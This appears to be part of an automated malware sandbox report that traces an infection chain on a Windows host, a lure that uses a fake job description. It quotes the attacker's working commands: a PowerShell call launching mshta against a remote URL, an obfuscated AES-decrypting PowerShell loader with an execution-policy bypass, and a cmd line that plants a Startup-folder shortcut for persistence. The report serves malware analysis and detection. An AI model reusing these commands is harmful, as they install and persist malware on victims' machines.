Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B457E4 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_00007FF6B5B457E4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B459C8 SetUnhandledExceptionFilter,	19_2_00007FF6B5B459C8
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B68FE4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	19_2_00007FF6B5B68FE4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B5AF58 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	19_2_00007FF6B5B5AF58

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B8CE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

19_2_00007FF6B5B8CE68

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B237B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00007FF6B5B237B0

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B99420 SendInput,keybd_event,

19_2_00007FF6B5B99420

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B9D1A4 mouse_event,

19_2_00007FF6B5B9D1A4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta.exe https://tiffany-careers.com/ghepduy1325"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://tiffany-careers.com/ghepduy1325	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '4734F167E688B712E3D248343D2E8F27F45EFEB66CEF33E5F71E91F4D577D03D307A3816965837CD191787DF5ED88323F20D1C6944C9100F6D044DB74B45638F201D8BAE55A1DE539BF3C012438184FFECF2A18AA75A38B5FA2B30E3775A68700359403C96690A310E0FA61DE6143A7A471CABD4AE708C72CF84B7A1DC559F9DCF0AABDD03FCA45762903F51468BEF8488494E7B7429432A3A1BAEDBF4833DEEA70781E018E4DFB87CD05CEA8267DFEEC57474934D2E72FED942DC3B6E04D01F82804DECEF13DC95D9F76B95330BE652C3F5ECAB21E4D67450285F38D92BE31580C4E736177BF71474B83457639E9C2881131387C24401F97A86AE28EF1CFA3564CF1974B4ACC0F6695257FA23A2DDB11745C35D97B3064A0BAAF7A97272149C51840237CA06689453D6A5F8B46678E8011672959BFCB6DFD142A3ED66ADE572299E442A73D667DF9462BE96290706311211F2CE31646E4040EBF2F7AA2CB9DC7FCF0E3D67762E76457BAA609917136F01E489A97E9A7FB17C6965F15CFF50FF5637D62983F02A4262193FDA98C9A16EF2DA91F27193760578614D5E2613AC07AC1CCB5EF6F587BC781DF31F55B65181C86F562B2BD2A35461CAC5C101B21214506A52C17834FA44C6E0DEF1A1E9CB0715D93135D5BBF09E6FCCE528E1DA3761E0A1F265D5F0FB3FA2E21AC770F6F27CC1EC289352FC35A8C7DE18C442B194FDCFA10DB3DA7CDE32FD8403F449D8FC75BE84A071B70C8F5544157502E7B2071633BA5B9D659AB9028E480647AA8FE41712E40CDB4E6A26F3268BFCF26F9072B471B8C282387E4DBA4EBC93609965409C1A65C0C57DF0CE49EC876F91C5A96386BD60817F78D48A9D0148412611DA9639CF9834309BE5DACA432F3ACBDFA219E5B95B26C009CFC00CF54BE154220779009DDC479CBDFEB32FC40336CC86D179FF44CD5B390F941A50D06D52FAFC8F32DB72C3505502F57C9EAA8B71200A218380D35F04EDC8E95B91FA86829B4510AD91625BBE54DB1D3237B08832E5C8289753B1D32B208E9E6AA7E281982490307DB6935EA25109C185FC165625387C55175929D993B0A9A3B1022C240A5ACB0431E98C81D66C70D1DC29B7F9909E6515937CDB3D283F4B12B4C4D6E3F28F0B7F5FD07BA8EDC2B28158165A3FB91BF281D1C320E33D3C8D25C1ABC674AB74EA1BE51CF9A35EC73C41528008D4E8200333FAB1BFEDC6C324ED62E667038A747AA71059CF2CF52ED74304019637D834465D06062AAA679880D486BEED29E51CBB32E274D08CF418E16AC10216BB620E504A77D4771DF75717D83FEB1DA9EA2224B0AB6051F81C35169397369EDE2B5FCAD429BA6B5E93A03CD2128D91B05F33C31AA36E6F16AFEB422B869409A043987E74028E99F3553B4AC0943C7347DBDB9818608468516E754F4271494E6951625143456D';function yVE ($UZpVPhOy){return -split ($UZpVPhOy -replace '..', '0x$& ')};$foocSK = yVE($ddg.SubString(0, 2016));$vAM = [System.Security.Cryptography.Aes]::Create();$vAM.Key = yVE($ddg.SubString(2016));$vAM.IV = New-Object byte[] 16;$MnEAtBA = $vAM.CreateDecryptor();$QXykJ = [System.String]::new($MnEAtBA.TransformFinalBlock($foocSK, 0,$foocSK.Length)); sal fd $QXykJ.Substring(3,3); fd $QXykJ.Substring(6)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Job_Description.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\dqcwif.exe "C:\Users\user\AppData\Roaming\dqcwif.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = '4734f167e688b712e3d248343d2e8f27f45efeb66cef33e5f71e91f4d577d03d307a3816965837cd191787df5ed88323f20d1c6944c9100f6d044db74b45638f201d8bae55a1de539bf3c012438184ffecf2a18aa75a38b5fa2b30e3775a68700359403c96690a310e0fa61de6143a7a471cabd4ae708c72cf84b7a1dc559f9dcf0aabdd03fca45762903f51468bef8488494e7b7429432a3a1baedbf4833deea70781e018e4dfb87cd05cea8267dfeec57474934d2e72fed942dc3b6e04d01f82804decef13dc95d9f76b95330be652c3f5ecab21e4d67450285f38d92be31580c4e736177bf71474b83457639e9c2881131387c24401f97a86ae28ef1cfa3564cf1974b4acc0f6695257fa23a2ddb11745c35d97b3064a0baaf7a97272149c51840237ca06689453d6a5f8b46678e8011672959bfcb6dfd142a3ed66ade572299e442a73d667df9462be96290706311211f2ce31646e4040ebf2f7aa2cb9dc7fcf0e3d67762e76457baa609917136f01e489a97e9a7fb17c6965f15cff50ff5637d62983f02a4262193fda98c9a16ef2da91f27193760578614d5e2613ac07ac1ccb5ef6f587bc781df31f55b65181c86f562b2bd2a35461cac5c101b21214506a52c17834fa44c6e0def1a1e9cb0715d93135d5bbf09e6fcce528e1da3761e0a1f265d5f0fb3fa2e21ac770f6f27cc1ec289352fc35a8c7de18c442b194fdcfa10db3da7cde32fd8403f449d8fc75be84a071b70c8f5544157502e7b2071633ba5b9d659ab9028e480647aa8fe41712e40cdb4e6a26f3268bfcf26f9072b471b8c282387e4dba4ebc93609965409c1a65c0c57df0ce49ec876f91c5a96386bd60817f78d48a9d0148412611da9639cf9834309be5daca432f3acbdfa219e5b95b26c009cfc00cf54be154220779009ddc479cbdfeb32fc40336cc86d179ff44cd5b390f941a50d06d52fafc8f32db72c3505502f57c9eaa8b71200a218380d35f04edc8e95b91fa86829b4510ad91625bbe54db1d3237b08832e5c8289753b1d32b208e9e6aa7e281982490307db6935ea25109c185fc165625387c55175929d993b0a9a3b1022c240a5acb0431e98c81d66c70d1dc29b7f9909e6515937cdb3d283f4b12b4c4d6e3f28f0b7f5fd07ba8edc2b28158165a3fb91bf281d1c320e33d3c8d25c1abc674ab74ea1be51cf9a35ec73c41528008d4e8200333fab1bfedc6c324ed62e667038a747aa71059cf2cf52ed74304019637d834465d06062aaa679880d486beed29e51cbb32e274d08cf418e16ac10216bb620e504a77d4771df75717d83feb1da9ea2224b0ab6051f81c35169397369ede2b5fcad429ba6b5e93a03cd2128d91b05f33c31aa36e6f16afeb422b869409a043987e74028e99f3553b4ac0943c7347dbdb9818608468516e754f4271494e6951625143456d';function yve ($uzpvphoy){return -split ($uzpvphoy -replace '..', '0x$& ')};$foocsk = yve($ddg.substring(0, 2016));$vam = [system.security.cryptography.aes]::create();$vam.key = yve($ddg.substring(2016));$vam.iv = new-object byte[] 16;$mneatba = $vam.createdecryptor();$qxykj = [system.string]::new($mneatba.transformfinalblock($foocsk, 0,$foocsk.length)); sal fd $qxykj.substring(3,3); fd $qxykj.substring(6)
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $ddg = '4734f167e688b712e3d248343d2e8f27f45efeb66cef33e5f71e91f4d577d03d307a3816965837cd191787df5ed88323f20d1c6944c9100f6d044db74b45638f201d8bae55a1de539bf3c012438184ffecf2a18aa75a38b5fa2b30e3775a68700359403c96690a310e0fa61de6143a7a471cabd4ae708c72cf84b7a1dc559f9dcf0aabdd03fca45762903f51468bef8488494e7b7429432a3a1baedbf4833deea70781e018e4dfb87cd05cea8267dfeec57474934d2e72fed942dc3b6e04d01f82804decef13dc95d9f76b95330be652c3f5ecab21e4d67450285f38d92be31580c4e736177bf71474b83457639e9c2881131387c24401f97a86ae28ef1cfa3564cf1974b4acc0f6695257fa23a2ddb11745c35d97b3064a0baaf7a97272149c51840237ca06689453d6a5f8b46678e8011672959bfcb6dfd142a3ed66ade572299e442a73d667df9462be96290706311211f2ce31646e4040ebf2f7aa2cb9dc7fcf0e3d67762e76457baa609917136f01e489a97e9a7fb17c6965f15cff50ff5637d62983f02a4262193fda98c9a16ef2da91f27193760578614d5e2613ac07ac1ccb5ef6f587bc781df31f55b65181c86f562b2bd2a35461cac5c101b21214506a52c17834fa44c6e0def1a1e9cb0715d93135d5bbf09e6fcce528e1da3761e0a1f265d5f0fb3fa2e21ac770f6f27cc1ec289352fc35a8c7de18c442b194fdcfa10db3da7cde32fd8403f449d8fc75be84a071b70c8f5544157502e7b2071633ba5b9d659ab9028e480647aa8fe41712e40cdb4e6a26f3268bfcf26f9072b471b8c282387e4dba4ebc93609965409c1a65c0c57df0ce49ec876f91c5a96386bd60817f78d48a9d0148412611da9639cf9834309be5daca432f3acbdfa219e5b95b26c009cfc00cf54be154220779009ddc479cbdfeb32fc40336cc86d179ff44cd5b390f941a50d06d52fafc8f32db72c3505502f57c9eaa8b71200a218380d35f04edc8e95b91fa86829b4510ad91625bbe54db1d3237b08832e5c8289753b1d32b208e9e6aa7e281982490307db6935ea25109c185fc165625387c55175929d993b0a9a3b1022c240a5acb0431e98c81d66c70d1dc29b7f9909e6515937cdb3d283f4b12b4c4d6e3f28f0b7f5fd07ba8edc2b28158165a3fb91bf281d1c320e33d3c8d25c1abc674ab74ea1be51cf9a35ec73c41528008d4e8200333fab1bfedc6c324ed62e667038a747aa71059cf2cf52ed74304019637d834465d06062aaa679880d486beed29e51cbb32e274d08cf418e16ac10216bb620e504a77d4771df75717d83feb1da9ea2224b0ab6051f81c35169397369ede2b5fcad429ba6b5e93a03cd2128d91b05f33c31aa36e6f16afeb422b869409a043987e74028e99f3553b4ac0943c7347dbdb9818608468516e754f4271494e6951625143456d';function yve ($uzpvphoy){return -split ($uzpvphoy -replace '..', '0x$& ')};$foocsk = yve($ddg.substring(0, 2016));$vam = [system.security.cryptography.aes]::create();$vam.key = yve($ddg.substring(2016));$vam.iv = new-object byte[] 16;$mneatba = $vam.createdecryptor();$qxykj = [system.string]::new($mneatba.transformfinalblock($foocsk, 0,$foocsk.length)); sal fd $qxykj.substring(3,3); fd $qxykj.substring(6)	Jump to behavior
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & echo url="c:\users\user\appdata\local\wordgenius technologies\swiftwrite.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\swiftwrite.url" & exit

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B8C5FC GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

19_2_00007FF6B5B8C5FC

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B8D540 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

19_2_00007FF6B5B8D540

Source: dqcwif.exe, 00000013.00000000.2367160497.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmp, Guard.exe, 0000001C.00000003.2506926999.0000000004A1A000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001C.00000000.2484628798.00000000006A6000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: dqcwif.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B5FD20 cpuid

19_2_00007FF6B5B5FD20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B5BEF8 GetSystemTimeAsFileTime,

19_2_00007FF6B5B5BEF8

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B82BCF GetUserNameW,

19_2_00007FF6B5B82BCF

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B62650 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

19_2_00007FF6B5B62650

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B41D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

19_2_00007FF6B5B41D80

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: powershell.exe, 00000018.00000002.2593196505.0000020375BC6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users\Public\Guard.exe
Source: powershell.exe, 00000018.00000002.2503038177.000002035DED9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Users\Public\Guard.exe
Source: powershell.exe, 00000018.00000002.2606180897.0000020375E8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c\Guard.exe
Source: powershell.exe, 00000018.00000002.2503038177.000002035DED9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Public\Guard.exe
Source: powershell.exe, 00000018.00000002.2593196505.0000020375C30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2606180897.0000020375E5D000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2507498251.0000000004771000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2507391049.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2502385091.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2499867757.0000000004771000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2502607286.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2486492753.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2486684935.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2500397628.0000000004870000.00000004.00000800.00020000.00000000.sdmp, Guard.exe, 0000001C.00000003.2500563044.0000000004870000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Guard.exe
Source: powershell.exe, 00000018.00000002.2491548979.000002035BC38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2C:\Users\Public\Guard.exe
Source: powershell.exe, 00000018.00000002.2503038177.000002035DED9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035DA51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2491548979.000002035BC38000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2593196505.0000020375BC6000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2606180897.0000020375E8B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\Public\Guard.exe
Source: powershell.exe, 00000018.00000002.2503038177.000002035DED9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \Users\Public\Guard.exe

Source: dqcwif.exe	Binary or memory string: WIN_81
